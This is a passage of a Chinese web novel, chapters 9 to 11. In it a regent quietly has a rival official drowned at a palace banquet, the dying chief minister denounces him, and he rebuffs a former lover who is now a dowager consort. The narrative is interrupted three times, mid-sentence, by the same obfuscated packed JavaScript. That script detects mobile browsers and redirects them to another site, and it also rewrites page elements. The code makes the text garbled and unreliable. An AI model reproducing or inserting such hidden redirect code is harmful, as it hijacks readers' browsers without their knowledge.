酒过三巡,场内气氛渐渐热闹。 有公卿绕过食案,开始相互敬酒,以左上首林同炳大人处过来敬酒的人最多。 朝中诸公皆耳目通明,周老大人的脉案根本瞒他们不住。他们遂也知了老大人气数已尽,怕是不成了,入周府请示了老大人后,就推举了下一任继任者,也就是这内阁大学士林同炳林大人,让他来做他们文官集团日后的话事人。 此刻,过去敬酒的都是名公钜卿,自轮不上陈今昭这般的低阶官员们。她与鹿衡玉俩人也就安坐食案前,观赏歌舞,享用佳肴,不时也碰一杯,权当敬一下为官两年各自的不易。 不知其他人如何感想,反正于他俩而言,宫廷宴会是顶顶好的福利了。 陈今昭这会刚舀了勺翡翠白玉羹入口,冷不丁胳膊被鹿衡玉拐了下,侧目询问,随后就被对方以目示意她去看右侧方。 她不着痕迹的看过去,就见一穿绛纱袍的太监,正亲捧着金杯银盏往主座方向而去。只见他面黄干瘦,眼窝深陷,皮贴骨头,瞧着不似个得脸面的太监。但那身绛纱袍,却在无声告诉众人他的地位。 陈今昭当即反应过来,此人便是刘顺。 今日赴宴途中,鹿衡玉在马车上特意跟她提起此人,提醒她宫中行走可万不能开罪这位。 刘顺是当年在昭阳宫伺候的那批宫人。后来昭阳宫遭逢变故,元妃殉葬,兖王就藩,他与昭阳宫里其他幸存的宫人就被赶去守了皇陵。 这一守就是十年。 同一批去守皇陵的,到如今被兖王下令放出来时,都死的死疯的疯残的残,不堪用了。还能好生生站着伺候的,就唯有他刘顺一人。 从前那刘顺在昭阳宫也不过是个不得脸的洒扫太监,否则当年也不能够侥幸留有一命。但今日,在被势盛而归的兖王亲自下令放回来后,他刘顺就注定会乘势而上了。 鹿衡玉告诉她,如今宫里宫外的见到刘顺,皆会尊称一句刘大监,提醒让她万不可称呼错了,小心对方记恨。 陈今昭自是明白。别看宫里的太监面上都笑呵呵的,但谁知其内心里都在想些什么,尤其是在皇陵苦熬十年的这位刘大监,十年光载不见天日,受尽磋磨,指不定心里会有些扭曲。 所以对这般的人物,自是要小心注意,轻易不要得罪。 9.第 9 章 菜过五味,摄政王就摆驾离开了。 恭送王驾离去后,宴会中的气氛更是前所未有的热络。 林大人的身边也愈发热闹了,连中低官阶的官员也都陆陆续续过去敬酒,众星拱月般将其拥簇中央。 眼见着翰林院赵掌院携院内上下官员,朝那林大人方向浩荡过去,陈今昭与鹿衡玉也赶忙将杯盏斟满酒水,端着酒杯起身,匆匆绕过食案自觉缀在队尾。 林大人与赵掌院叙上两句场面话,而后对其后众官员照例勉励一番。值得一提的是,这勉励的话语里有半句竟是单独给予沈砚沈修撰的,听在众人耳中,无疑是透有栽培之意。 其他人的目光,或多或少的隐晦看向另外二杰。 从前三杰同被群臣打压、孤立,如今其中一人却被未来首辅单独提挈,就不知另外两人会如何作想。 待见了两人闷葫芦般低着脑袋没反应,众官员暗骂句木头桩子,也就自觉无趣的别过眼不再关注。 赵掌院收回目光,对此不置一词。 说起来,三杰刚入朝那会,朝臣们还是对他们抱有期待的。虽探花与榜眼是先帝破格提拔,但好歹也是实打实的两榜进士,才学才干必也不差,是值得他们拉拢的好苗子。 但很快他们就发现,他们三人是一个赛一个的清傲自负、油盐不进!先有探花郎,上来就犯官场忌讳,不收下面的炭火孝敬;后有状元郎,行事作风更胜一筹,刚入翰林就呈本直接越过通政司直达天听,抨击宦官招权纳贿、大肆索取铺垫费,越权请圣上下旨查办。 初出茅庐的这二子,一出手就直接将朝官得罪个遍,可谓是初生牛犊不怕虎! 至于那鹿榜眼,虽无出格激进之行事,但却是个不识好歹的。其外祖家豪富,他人也大方识趣,起初朝官对其印象还算好,已有派系打算将其拉拢过来,好生提携一番。 但不知从哪日起,他突然就变得鲁钝起来。 不仅孝敬上峰的供奉日渐稀薄,就连年节拜礼都几乎没多少表示。不是没有朝官暗下提点要他遵循官场规矩,要学会打点,如此才能将路走宽走远。可几番暗示他却犹似听不懂,依旧我行我素,至最后,甚至学起了探花郎的穷酸做派。 这两年来,那三杰各类场合的随礼几乎一言可蔽之—— 状元郎的墨宝、榜眼的书籍、探花郎的画。 试问,上官家的墙壁,可就缺你们那上不得台面的字画了?上官家的书架上,可就缺你那平平无奇的几本书了? 如此离经叛道又不识好歹的三人,不孤立他们孤立谁? 若不是他们身上带着三杰名头,不好打先帝的脸面,他们是恨不得即刻将他们驱逐出京,发配苦寒之地,眼不见为净。 翰林院的赵掌院也是寒门子弟出身,知道寒门考出个探花郎有多么不易,因此他对同样家世不显的陈探花有些同理之心。 以为对方是初入官场,尚存赤子之心,不知仕途艰险,所以刚开始他还私下语重心长的劝其和光同尘,莫要特立独行自绝前程。 直待他听到对方纠结的搬出了成武年间的律法。 成武年间订的的律法,多少年的老黄历了,你拿到太初年间来说事?况且收炭火孝敬是本朝为官约定俗成的事,上至一品大员下到末品小官皆是行事如此,如今你非要以律法约束己身特立独行,那敢情满朝文武就你遵纪守法,吾等都是乱臣贼子人人得而诛之? 要真按成武年间的律法来算,官员贪墨超过十两就要被剥皮萱草挂在城门,他这一年收的孝敬还不知有多少个十两了,照这说法,那他一年不得被剥个十来回皮挂上去呗? 当时他脑中就穿梭了诸多念头,极度怀疑对方是讥是诮,抑或存有他意。 不由暗恨,心道他爱收不收,早晚将其踢出京官队伍! 陈今昭他们并不知道旁人在这一瞬间的思绪万千,随翰林院众人敬完酒后,就与鹿衡玉重新回到了座上继续饮酒吃菜。 不多时,沈砚于她的右侧落座归位。 两人往背对的方向各自侧身,互视对方为无物。 自打有了三杰美名,他们三的排位从来排在一起,无论是上朝站位也好入宴落座也罢,都是并肩而立、而坐。好似那排位的礼官看不到他们如今官阶有别,更看不到沈砚与他俩相互的排斥几乎突破天际。 让陈今昭尤为不忿的是,并肩也就罢了,但好歹按顺序来啊!该居中列位的不应是榜眼吗。 鹿衡玉迟疑了会,自袖口偷偷掏出了个小巧铜镜,悄摸照了照,却也没瞧见脸上沾什么油渍。怪哉,刚陈今昭那般看他作甚。 又兀自照了又照,方心满意足的将小圆镜重新放回袖口。 宫中建有“十王府”供藩王居住,其中的昭明殿是摄政王曾经的居所。昭明殿明显区隔与其他王邸崇阁,九脊重檐,玄玉作础,尽显天潢气数。同时又与昭阳殿的殿名遥相呼应,由此可见文帝对他们母子的偏爱。 此刻殿内烟雾缭绕,大殿前方设有香案,供奉鲜活果品。中央则摆放了一樽汉白玉砌筑的化纸炉,其上边缘镶嵌金边,炉身表面雕刻有祥云、龙凤纹饰。 这会化纸炉里燃着已烧至一半的纸扎人,幽暗的火光映得坐在炉前之人的脸忽明忽暗。 殿外静候的公孙桓,待被宫监宣召,就整整衣冠趋步入殿,垂手来到化纸炉前,低语唤道:“主公。” “称呼该换了,既已入京都,那便少不得入乡随俗。标新立异,总归是不妥当。” 姬寅礼抬手,示意他在旁落座。 “殿下说的是,是桓思虑不周了。” 公孙桓从善如流,挨着椅子侧身轻坐下,方继续说道,“自打殿下的王驾离去,御苑里推杯换盏,好不热闹。就您离开的这会功夫,林大人那边是愈发花团锦簇了。” 姬寅礼笑了下,问:“文臣僚属之质,汝今夜可明乎?” “桓今方悟矣。” 公孙桓叹气,脸色微微难看,“纵使平日派系林立、各自为政,但到底翰苑连枝,台阁诸公皆终归于士林党。关键时候,他们众口同声、行事默契,宛如铜浇铁铸不可撼动。” 他犹记得当日宣治殿内,为立储之事,各派系唇枪舌剑,互不相让,论锋激烈之时更是恨不得拔剑而格!可今夜筵席上,诸公却又和融协契,共举新主事。 其党众之勠力,令人心惊。 尤其想到那些朝中公卿们竟胆敢越过朝廷、越过摄政王,谕制举贤,似将国朝的宰辅推举之权视为囊中之物,公孙桓的脸色就愈发难看。 姬寅礼不置可否,随手将一搭黄纸投入炉中。 “士林之党,自树纲纪,从来如此。文帝朝时,他们尚有所收敛,但至前朝,因有‘仁君’奉行法不及尊格外优容文臣,进而愈发助长士林党之气焰。” 炉内将熄的幽火瞬息翻腾而起,黄纸燃烧发出噼啪的声响,“据说平帝临朝末岁时,朝堂竟出现臣越君命、私擢百官之乱相。堂堂国朝君主成了庙里的菩萨,也是滑天下之大稽了。” 平帝,自然是他亲自给先帝批复的谥号。 公孙桓非是不知,文臣养成的这番猖獗之势绝非一时之功,其跋扈行径已是常态,只是一想到今日筵席上他们拥簇林同炳敬酒,浑然不在意摄政王当面,一副大势已定之态,就不由心中生怒。 这些士林文臣,莫非亦将他们殿下当做平帝? 见那公孙桓面色阴晴不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276463|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定,不复人前的儒雅,反倒多了几分狠辣,姬寅礼当即就知晓他这位臣属现下在想什么。 无外乎是觉得满朝臣工无可救药,实应杀尽再换一批。 姬寅礼不由扶额,无奈笑叹:“文佑啊,你什么都好,就是性子急躁,定力不够。正如治大国如烹小鲜,料理这些国蠹亦如是,也急不得,慢慢炮制便是。” 公孙桓深吸口气,复又恢复了面上的平静。 读书人是基石,是国朝统治与稳定的基础,一旦对阖朝百官大开杀戒,则势必会开罪天下读书人。上位者自绝于士林,那就等于断了根基。殿下要的,可从不是风雨飘摇的天下。 他虽有些遗憾,但也知就目前来说实在激进不得。亦如殿下从前所说那般,国朝再经不起动荡,需以稳为先。 况且,他们初入京都威望不足,西北文风又不盛,想网罗天下英才为己用,得需要时间。所以急也急不得,正如殿下所说,要慢慢炮制。 想至此,公孙桓不由愧然笑道:“到底是臣下养气功夫不足,待回去还是得多抄几遍《金刚经》。” “是得多抄几遍,长长记性。” “是,臣下谨遵殿下旨意。” 主从这般说笑两句。 殿内渐寂了下来,火盆里的黄纸不曾间断,炉里堆积的灰烬被外头刮来的凉风一扫,刹那在炉内腾空翻卷。些许灰烬亦随着炉口窜出,幽幽盘旋了半个荒凉殿宇。 “文佑,去将临窗处搁置的纸扎人都搬来。” 公孙桓忙回神应是,放下手里捧着的黄纸起身过去,也就这会他方发现原来不止化纸炉周围立了半圈纸扎人,临窗处竟也孤零零立了两个。 这两个纸扎人格外的惟妙惟肖,连官服补子、官帽样式都扎得极为精细。 公孙桓不曾往其上面部处细瞟半分,只顾低头搬运,来回两趟将立在窗前的两个纸扎人尽数搬到炉前。 炉内冥火幽幽,投射在炉前人玉棱隐岫般的眉骨间,晦暗不清。 姬寅礼目光极缓的从两个纸扎人上一一扫过。 “昔年,寅礼离京之时,唯有两位大人特来临别相送。”寂静的大殿内,喑哑的嗓音慢声响起。目光凝视在其中一纸扎人上,他伸出手去,温和的拂去其肩部处落上的纸灰,“老大人的临别赠言,本王此生难忘。你说,寅礼二字,寓意谨与礼,为我父皇所望,切莫忘记。” 稍寂,殿内再次响起了那道徐缓叹声,“老大人急于告诫本王要安分,本王焉敢有忘。只是老大人却忘了,寅礼二字,原非吾之名,是老大人携百官‘苦苦相劝’父皇,另取予我。” “本王原名,承胤。” “姬承胤。” 他吐字极缓,似挟着深刻情绪,却又似漠然无波。 殿内陷入了很长时间的沉寂,唯有炉内黄纸燃烧的噼啪声不断作响。 许久,一直垂手在旁静立的公孙桓方听到问声。 “文佑,什么时辰了?” 公孙桓随即看向殿内悬挂的自鸣钟,低声回道:“殿下,再有三刻就至子时了。” 姬寅礼颔首,兀自感慨了会,“竟这般晚了。不知不觉,也到了筵席散场的时候。” 忽而又问,“老大人情况如何了?” 公孙桓垂眼:“回殿下,周首辅大限将至,应就在今夜。” “委实令人痛惜。”姬寅礼叹,“不过能殁于正统继位这日,也算全了他的圆满。”说罢,目光转又投向另外一纸扎人上,伸手也替其拂去身上的灰屑。 “黄泉路远,幽冥难赴。一路若能结伴同行,想必路途之中不似那般凄清孤单。” “送林大人下去罢,不必过夜。” 10.第 10 章 林大人失踪的消息传来时,筵席已经接近了尾声。 陈今昭与鹿衡玉正忙着打包宫廷细点,群臣们也皆收拾妥当,直待等那去出恭的林大人回来辞宴,就能散席打道回府了。 可左等,林大人未归,右等,人还是未至。 正在众人感到不妙,就要派人前去查看时,林府的家仆惊慌失措的跑来,带来了林大人失踪不见的消息。 “什么?!”有官员惊呼,继而疾言厉色,“你先前在何处?为何没守着你家大人!是不是躲懒了!” 那家仆吓得慌忙跪下,涕泪横流的直磕头:“小人不敢,大人明鉴啊——小人先前确是寸步不离守在净房外,但老爷他嫌弃里头恶臭,非要小人去取熏香来。小人也苦口相劝,但哪里劝得动啊!等小人火急火燎取了老爷惯用的熏香来,老爷他、他就、他就不见了啊……” 官员气怒上前,猛踹一脚将其踹倒,怒斥:“还敢狡辩!要是林大人有事,唯你这狗奴才是问!” 其他官员也恼怒这个奴才的不尽责,可事到如今,当务之急是赶紧找到林大人。 因为林大人的突然失踪,满座公卿们酒醒了大半,带着各家的奴仆匆匆忙忙朝净房方向过去,四下散开寻找。 陈今昭与鹿衡玉两人此刻哪还顾得上打包什么细点,亦火急火燎的随着众人去找。 净房位于御苑的偏僻角落,黑灯瞎火的,守卫也少。 一连问了数个守卫,可皆无果,没人见到过林大人身影。 朝臣们不由心急如焚,愈发分散开来,往更远更偏僻的角落处寻去。夜色愈浓的御苑里,不时有‘找到了吗’‘往那边再去找’‘那个角落找了吗’等问询声传出。 众人四处寻找,焦急如热锅上的蚂蚁,却都一无所获。 时间拖得越久,他们的心就越慌,皆有些不大妙的预感。 就在诸位官员苦寻不到,正不知如何是好时,却陡然听到一声极为惊恐凄厉的尖叫—— “来人啊!林大人溺毙在荷花池中了!!” 总管太监刘顺闻讯匆匆带人过来时,见到的就是惊乱作一团的官员们。有的扑在林大人的尸身上号啕痛哭,有的扶树俯身干呕不止,更有的瘫坐地上失魂丧魄,呆傻了一般。 刘顺惊呼:“林大人这是……” “大人他……不幸溺毙了!”有官员悲痛欲绝,“只是林大人好端端的,怎就突然溺毙于池中?望大监严查,此间是否另有隐情!” 刘顺正色道:“事关重大,咱家得速去禀了摄政王千岁。大人请放心,若事有蹊跷,千岁殿下定会还林大人一个公道。” 消息第一时间传到了周府,病入膏肓的周首辅猛地睁开眼,昏眊的老眸死死盯着报丧的人。 “你在说……什么?!” 府里的老管家擦擦眼,道:“是宫里的眼线报的信,说是林大人醉酒不慎跌倒在御苑的荷花池里,不幸……溺毙了。” 话落,老管家就见他家老爷竟猛地撑起病体,怆然悲呼。 “呜呼痛哉!” “老爷!”老管家哭着上前搀扶,“老爷节哀啊,林大人中途崩卒或许是天意如此,您可不能痛伤了身子啊!否则林大人在泉下,怕也走的不安心啊。” “非天意,乃人祸啊!” 周首辅目眦欲裂,哆嗦着伸手,指向门外—— “是他……一定是他!你去告诉……告诉他们!” “那是悖君之臣!国之大贼!” “不忠!不义!不孝!不悌!” “外表慈和,内里狡狠!” “睚眦必报之豺狼!倒行逆施之梼杌!!” 他喘鸣着,拼尽最后一丝力气,嘶声出最后一句: “老夫,断言!他姬寅礼!赳赳匹夫,不堪为帝!!” 话尽,他吐血后仰,双手垂落,生机断绝。 此刻的窗外,月挂中天,子时刚至。 御苑里的阖朝百官收到老首辅吐血暴亡的噩耗后,皆已懵了。一夜之间,前后两任宰辅竟是接连亡故! 接连的噩耗打得满朝公卿措手不及,此时他们已经顾不上哭林大人了,匆匆令人将林大人尸身抬回林府,就急切出宫前往周府吊唁。 周府门前挂白一片,府内哭声不绝于耳。 满朝公卿们进府就哭喊着老大人,纷纷扑跪在老大人棺前,擗踊哀号恸哭流涕。 几朝元老,庙堂柱石,如今一朝亡殁,便似那一个时代的落幕。又如何不让人心生凄怆,扼腕痛惜? 陈今昭他们也真心实意的为老大人哭了一场。 纵使入朝两年来并未受其多少恩泽,但老大人到底是国之顶梁,为国为民操劳半生,值得他们敬佩。 公卿们哭过几场后,方勉强忍住悲意,叫来府中管事,询问老大人临终前可有遗言留下。 继未来首辅林大人暴毙后,他们现在急切想知道,对士林党的下届话事人,老大人可有属意人选。 管事为难道:“老爷临终之际,唯有王管家候在左右,小人实不知老爷是否留有什么遗言。” “那还等什么,速叫王管家过来!” “可是……”那管事支吾,眼神不由飘向偏殿的方位,“王管家赤胆忠心,已经悬梁自裁,殉主了。” 满朝公卿抬眼望去,刚巧就见远处偏殿那,下人们将梁上悬着的王管家放下,抬到殿外。看那发硬的尸身,就知人已经死透了。 一时间人心各异。 没了老大人的临终推举,那就意味着,谁都有望争一争那个位置。尤其是有望进内阁的几位公卿。 不过现下还不是多想这些的时候,当务之急,还是要赶紧操办老大人丧仪,以及查明林大人死因。 国朝出了这事,后面的宫宴自然取消。 宫里头也派人往周林两府,各送了摄政王亲笔书写的挽联,同时派了不少仵作前往林府,查验林大人的死因。 各家公卿也派了信得过的仵作过去查验,可得出的结论与宫里的仵作一致——林大人确是醉酒溺亡。 对此结论,有人信,有人不信。 不信那拨又各有怀疑人选,一方怀疑是摄政王下的毒手,毕竟其人心黑手毒,自进京来就没对他们公卿手下留情过,林大人之死肯定与其脱不了干系。 另一方则是怀疑起自家同僚来,因为在他们看来,摄政王杀人从来是明火执仗的来,此番林大人暴毙实不像其手笔。况摄政王与林大人有旧,夜宴之时就能看出,他待林大人极为优容,实没有杀对方的理由。所以他们极度怀疑是他们公卿当中有人不忿林大人上位,遂痛下杀手。 不管众人内心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283834|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何种想法,林大人之死于明面上,是定在了醉酒溺毙这个结论上。 最终,以处死那个失职的家仆作为终结。 忙忙碌碌了几日,很快就到了休沐之日。 上头大抵是考虑到阖朝官员近段时间的心情,遂让正常休了,也好让心力交瘁的群臣们有个歇乏时间。 休沐这日,风轻日暖,正是初夏好时节。 陈今昭换了身青蓝色的薄衫,在抱过胖嘟嘟的小呈安好生安抚一阵、又对旁边的稚鱼再三承诺下回定也带她同去后,方与长庚出了门。 今日是她与鹿衡玉约好的,去法华寺的日子。 近来发生太多事情,难得正常休沐,他们是得去寺里烧烧香,去去霉运。 两人约在山脚下集合。 陈今昭到时,鹿衡玉的马车已经候在那了。 “你来迟了陈今昭,记得回头请客。” 见面的第一句话,鹿衡玉就戳她肺管子,可把陈今昭恨得牙根痒痒,暗骂其狗大户,为富不仁。 两人相携往山顶寺庙处走去,沿途风景如画,林荫蔽日,山涧清幽,很是让人赏心悦目。 “今日出门,你家小子没闹你?” “如何没闹,抱着我的腿哭得鼻涕泡都出来了。” 两人边登山边闲聊,鹿衡玉闻言哈哈大笑,“你倒是带着他一块过来啊,说起来,我也有段时日未见小呈安了。” 陈今昭无奈摆手:“别提了,小妹也在旁起哄,不依不饶的也要跟来。带一个来,势必就要带另一个。” 早两年倒也无妨,那时她家小妹年纪尚小,带出来玩倒也不避讳什么。可今年稚鱼已经十四了,是要马上及笄的大姑娘了,就不好再见外男。 毕竟这个时代人言可畏。 鹿衡玉自也想到了这点,也不在这话题上多停留,转而说起法华寺的香火有多灵验云云。 陈今昭就提议:“既如此灵验,那你我届时不妨各抽一签,让解签僧解解看,我们二人运道如何。” 鹿衡玉当然附议:“那敢情好。我有预感,今日这签必是上上签。” “巧了,我亦有此感。” 寺里确是香火鼎盛,来往上香拜佛的人众多。 二人排了将近一个时辰,才排到他们进庙烧香。 等两人再次从庙里出来时,除了各自拿着签文外,鹿衡玉手里多了张太岁符,陈今昭则多了张转运符及五张平安符。 陈今昭美滋滋看着手里的签文,心情大好:“今日果真是上上签!听到解签僧说的没有,我马上就要时来运转了。” 鹿衡玉也看着签文,心花怒放:“解签僧还说我官运亨通,来日必会青云直上!当真是做梦都不带敢想的。” 两人说完,不由大笑起来。 鹿衡玉摇摇签文,轻咳两声:“你放心,以你我之交情,待来日我为辅做宰,定会第一个提拔你进内阁。” 陈今昭忙正色敛衽作揖:“那下官就提前恭贺鹿阁老来日加官进爵、官居一品。望阁老来日,切莫忘记尚在原地巴巴静候着的下官啊。” 话未说完,两人就都笑得前仰后合。 下山的一路上,二人也是说说笑笑,好不欢快。 只是此时有说有笑的两人尚不知,待他们明日上值时,就会很快就笑不起来了。 11.第 11 章 翌日,两人刚进衙署,就被上官通知,打今个起复行值宿之制。 翰林院不比其他部门,历来都有值守的惯例,以防夜里宫里下个急召需人草拟诏敕、或增华删芜诏诰为其润色等等。且夜里值守官员一般由编修及修撰轮流更替,据上官解释如此安排是考虑到编修以下的小官能力有限,恐不足矣应对突发急务,而修撰以上的臣僚则自有体面,不必劳心此等琐事。 见上官说话时皮笑肉不笑的模样,二人皆是心里一咯噔,赶忙围上去看值宿卯册,这一看顿觉晴天霹雳! 从前大半月方轮一回的值宿,现今竟然每隔七日就一回!关键是从前是两人值宿,夜里好歹还能轮流在里间小榻上憩上会,而今却改为独值,岂不意味着值宿者要夙夜不眠? 值宿一夜,翌日还得正常上值,岂不是把他们当骡子用? 可就算是骡子,这般用起来也得废啊。 “咱翰林院人员减损严重,这也是没法子的事。”上官瞥他们二人一眼,不冷不热安慰了句,“待到来日人员充裕了,就恢复旧制。尔等且撑持一段时日。” 陈今昭不觉有被安慰到,来日,是几日,是何时? 或许,是遥遥无期罢!这般一想,她感到天都塌了。 呆视着卯册首位的名字,陈今昭简直欲哭无泪,上官得多看不惯她啊,特意将她排在第一夜。 整个白日,陈今昭与鹿衡玉都在郁郁寡欢中度过。 前者值宿于首日,后者紧接着就是第二日,两人心情能好才怪。至于第三日的值宿者,也没什么悬念,自是那沈砚。 沈砚的位子就在她旁侧,所以她很难不注意到,一整日下来对方那极为不佳的心情。就连其间上官存着抬举之意让其去沏壶茶来,都被他头也不抬的硬邦邦回了句,水房在殿侧,大人请自便。可把上官气得后仰! 陈今昭与鹿衡玉看的是心头爽畅,这一刻直恨不得给那沈砚竖个大拇指。果然是状元之才,若论言语忤人,他俩不及对方远矣。 下值时分,鹿衡玉在陈今昭悲苦的神色中离开。 离开时他面色同样悲苦,因为今夜过后就要轮到他了。 待翰林院众官员离开,陈今昭认命的叹口气,收拾东西去了西边配殿。这里,便是值宿人员的值房。 值房设有里间,里面就寝用物一应俱全,都是尚寝司按官员品级供应的。只是就目前的情况来看,这些寝具被褥等供不供应倒也无妨了,统共今夜她是睡不得的,否则若上头当真派人寻她做事,至此间却见她于里间呼呼大睡,那可真是老寿星吃砒霜了。 届时一个渎职之过扣上脑门,一顿鞭刑怕是少不得她的。 酉时,尚膳司的宫人送来了晚膳,一荤一素,一粥一饭。 用完了膳,陈今昭点了宫纱灯,坐在窗前发了会呆。稍顷又走出房门,在庭院里慢走小半刻钟消消食,之后才重新回了值房。 值房内设两排长书架,其上书籍类别繁多,她站在书架前挑挑拣拣,最后拿过《天工开物》的第二卷,捧至临窗的案前翻开来看。 窗外一轮明月悄然挂上梢头,不知不觉,夜色已深。 姬寅礼从尚书房回到昭明殿,交代完公孙桓一应事务后,就起身往寝殿而去。在即将踏进内寝那刻,他突然停住了脚,朝旁边轻瞥一眼。 一旁躬身打帘子的刘顺额上滑下了冷汗,齿间不住碰撞。 姬寅礼收回目光,抬脚入殿。 内寝居于后殿,一应奢华物件还是昔年的那批,虽陈旧褪色,但大件如黄杨木嵌五彩琉璃屏风、金丝楠木雕四爪金蟒寝榻、朱漆戗金云蟒纹宝座等,小件如珐琅彩鱼戏荷叶图赏瓶、翡翠浮雕插屏、掐丝珐琅宫灯以及缂丝蟒纹幔帐等等,无不透着尊贵考究,是昔日权利的象征。 此刻寝殿内烛火幽暗,榻前帷幔轻垂,氤氲着朦胧暧昧。 姬寅礼未径直走向寝榻,反而脚步一转,来到离寝榻有段距离的宝座前,信手撩袍落座。 殿内陷入了沉寂,连外头奴才噗通跪地声,以及重重的砰砰磕头声都听得一清二楚。 姬寅礼缓慢转着拇指上的墨玉扳指,眼皮半遮,似在低垂眸光打量玉扳指上的纹理。 许久,帷幔垂落的寝榻间传来了动静,是女子的啜泣声。 “十五殿下,你……是非要我如此难堪吗?”女子的呜咽压抑隐忍,夹杂着难以言说的酸楚,令人闻之动容。 姬寅礼神色未变,连语气都是惯常的平缓,“何人在那?” 女子的哭声一滞。偌大的寝殿再次陷入死一般的凝寂。 缂丝帷幔被人从榻间用力掀开,女子赤足跑下来,踉跄的一路从寝榻绕过屏风,径直来到宝座那人身前,满面泪光的看着他。 “十五殿下,敢问你如今可有看清,面前之人是何人?” 面前女子清丽婉约,宛若秋水芙蓉,是世间少见的姝色。此刻未施粉黛的她好似依旧是从前模样,但较于往昔又平添了三分风韵。 她披着一袭单薄的宫纱站他面前,摇摇欲坠不胜堪怜。 姬寅礼只端坐那,一言不发。甚至未曾朝她看去一眼。 未得任何回应的女子,只觉当下愈发难堪,同时心中亦惴惴不安。十年未见,她只觉得对面那隐在阴影中,让人看不出任何情绪的男子分外令人陌生,与十年前那个桀骜不驯、却待她赤诚的十五殿下,宛如两个人。 面对这个让她万分陌生的男人,她有些拿不准自己今夜这步棋可有走对,可事已至此,就算是咬牙也得继续走下去。 “你是怨我的罢?的确,昔年是我不对,先打了退堂鼓背弃你我二人的承诺。”她咬唇落泪,朝对方软软跪下来,如瀑的青丝顺着细肩垂落下来,“即便当年我别无选择,即便是家父苦苦相逼……但错了,就是错了。明萱甘愿受你打,受你骂,但求殿下莫再如此冷漠待我。” 姬寅礼这方慢抬了眼皮,无声看她片刻,突然朝她俯身过去,抬起指背轻抚她娇嫩美丽的脸庞。 “云妃,不,云太妃娘娘,是将寅礼视作禽兽否?又敢问太妃娘娘,如斯作态可是欲献身于禽兽?”莫名笑过一声后,他从宝座起身,高大的身躯压下浓重的阴影。他敛着眸光,声调平缓,“若臣弟未记错,皇嫂的寝殿应在咸福宫。” 云太妃整个人都僵住了,不可思议的看向他,似乎没有想到有生之年能从对方口中听到如此无情的话语。 “承胤……” “请皇嫂称臣弟,皇叔。” 姬寅礼言罢,不再多看她,边掸袖往外走,边道,“瓜田李下,叔嫂有别,望日后皇嫂还是与本王保持距离为好。毕竟叔嫂通奸的名声并不好听,且寅礼实不想再于身上加上个夜宿龙床的狂徒恶名。” “嫂嫂穿上衣裳就回去罢,臣弟先行告退。” 云太妃呆呆看着他消失在寝殿的背影, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289216|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个人瘫坐于地。 她赌输了,她竟赌输了。简直令她难以置信! 她本以为他十来年身边未有旁人,是因她之故。即便近段时日,她数次求见他均不见,她送来的昔日旧物亦石沉大海没了后续,可她依旧坚信,只要她肯先低下头来,对方必会顺着台阶摒弃前嫌接纳她。 可结果为何是这般?是她会错意了? 一想到这个可能,她忍不住浑身发冷。 她还这般年轻貌美,不想当老死禁宫的太妃。 连皇三子那个傻子都能登上皇位,她聪明伶俐的皇五子,为何不可? 姬寅礼踏出寝殿门时,刘顺还跪在地上磕头,额头上的血滑下来,流了满脸血痕。 “起来罢。” 听到主子的话,刘顺没再继续磕头,但依旧跪趴着,嘶哑着声诚惶诚恐请着罪,“奴才罪该万死,万望殿下狠狠惩戒奴才,否则奴才愧对殿下大恩,万死难恕其罪。” 姬寅礼没再言语,只在经过刘顺身侧时稍微停步,抬手在其肩上轻拍了拍,而后就大步踏出了寝殿。 刘顺伺候摄政王时日尚短,不明其意,顿时只觉惶恐难安,不由将求助的目光投向殿外候着的公孙桓。 公孙桓稍一思索就决定结这个善缘。 到底是昔年昭阳宫的奴才,虽这回媚主翻了车,但只要不再去犯殿下的忌讳,日后也定是个有大造化的。 “大监,这种事情本该提都不该提的。”更何况还是去做?公孙桓几步到他跟前委婉说道,接着又快速低语,“不过放心便是,此事在殿下那里算是过去了。但咱家殿下这里事不过二,万望大监千万切记!” 在刘顺感激涕零的目光中,公孙桓留下最后一句:“寝殿的一应用物,全都扔了,一件也不要留。殿内用艾草全都熏上几回,切莫留下脂粉香气,此也要切记。” 言罢于此,他便不再管那刘顺是何反应,从宫监那里要来一盏羊角灯,就匆匆小跑出殿追赶他家殿下去了。 姬寅礼看向后头的公孙桓,笑了声,“何必点那奴才?” 公孙桓提了羊角灯落后一步,闻言亦笑着回应:“到底是个得用的,桓还是想给殿下留住。” 此时夜色渐深,璀璨的星河铺满整张夜幕。 姬寅礼带着公孙桓登上十王府外一处高亭,居高临下的俯瞰夜色中的皇城宫阙。比之白日里的雄伟壮丽,巍峨壮观,夜晚的紫禁城多了些莫测的神秘。 